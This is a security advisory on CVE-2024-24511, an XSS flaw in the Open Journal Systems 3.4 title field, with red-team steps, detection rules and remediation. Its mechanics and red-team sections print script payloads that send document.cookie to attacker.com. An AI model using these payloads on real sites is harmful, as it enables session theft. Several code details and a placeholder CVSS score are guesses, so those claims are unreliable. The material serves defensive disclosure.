CVE-2024-24511

Executive Summary

CVE-2024-24511 is a Cross-Site Scripting (XSS) vulnerability identified in PKP Open Journal Systems (OJS) version 3.4. The flaw resides in the "Input Title" component, allowing an attacker to inject and execute arbitrary JavaScript code within the context of a victim's browser. This can lead to session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 0.0 (placeholder) and no known public exploit or patch at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

OJS is a PHP-based open-source application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Organizations should verify the integrity of their OJS installation and monitor for updates from PKP.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder, likely to be updated)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link or view a malicious page.
• Scope: Changed (S:C) – impact may extend beyond the vulnerable component.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium (due to user interaction requirement but potential for session theft).

Deep Dive & Mechanics

The vulnerability is a stored or reflected XSS in the "Input Title" field of OJS. When a user submits a title (e.g., for a journal article or section), the input is not properly sanitized or encoded before being rendered in the browser. An attacker can inject malicious HTML/JavaScript payloads, such as:

<script>alert('XSS')</script>

or more sophisticated payloads to steal cookies:

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

The attack can be triggered when an administrator or editor views the submitted content, leading to privilege escalation if the victim has higher permissions.

Vulnerable vs. Patched Code

Vulnerable Code (OJS 3.4): The input title is likely echoed without proper escaping in a template file (e.g., .tpl or PHP file).

// Vulnerable: direct output without escaping
echo $title;

Patched Code (Expected): The patched version would use htmlspecialchars() or a template engine's escape function.

// Patched: escape output
echo htmlspecialchars($title, ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team

1. Setup: Deploy OJS 3.4 in a local environment (e.g., Docker).
2. Craft Payload: Create a malicious title with JavaScript.
3. Inject: Submit the payload via the "Input Title" field (e.g., in journal section creation).
4. Trigger: Have an admin view the submitted content.
5. Exfiltrate: Use a webhook or listener to capture cookies.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

1. Monitor: Look for unusual characters in title fields (e.g., <script>, onerror).
2. Harden: Implement Content Security Policy (CSP) headers to block inline scripts.
3. Audit: Review logs for suspicious submissions from unknown IPs.
4. Patch: Apply vendor updates as soon as available.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from OJS server.
• Logs: Entries containing <script> or onerror in title fields.
• File: Modified template files with injected JavaScript.
• Cookie: Unexpected cookie theft attempts (e.g., document.cookie in logs).

Detection Engineering

YARA Rule

rule CVE_2024_24511_OJS_XSS {
    meta:
        description = "Detects XSS payloads in OJS title fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-24511"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-24511 XSS in OJS Title Field
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts in OJS title submissions
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - "/index.php/"
        c-query|contains:
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of HTML in titles (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24511 OJS XSS Attempt"; flow:to_server; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply input validation and output encoding to all user-supplied fields, especially titles.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block XSS patterns.
3. Long-term: Upgrade to a patched version of OJS once released by PKP.
4. Monitor: Regularly review logs for anomalous submissions.
5. Educate: Train administrators to avoid clicking suspicious links.

Valters IT
Securing Digital Frontiers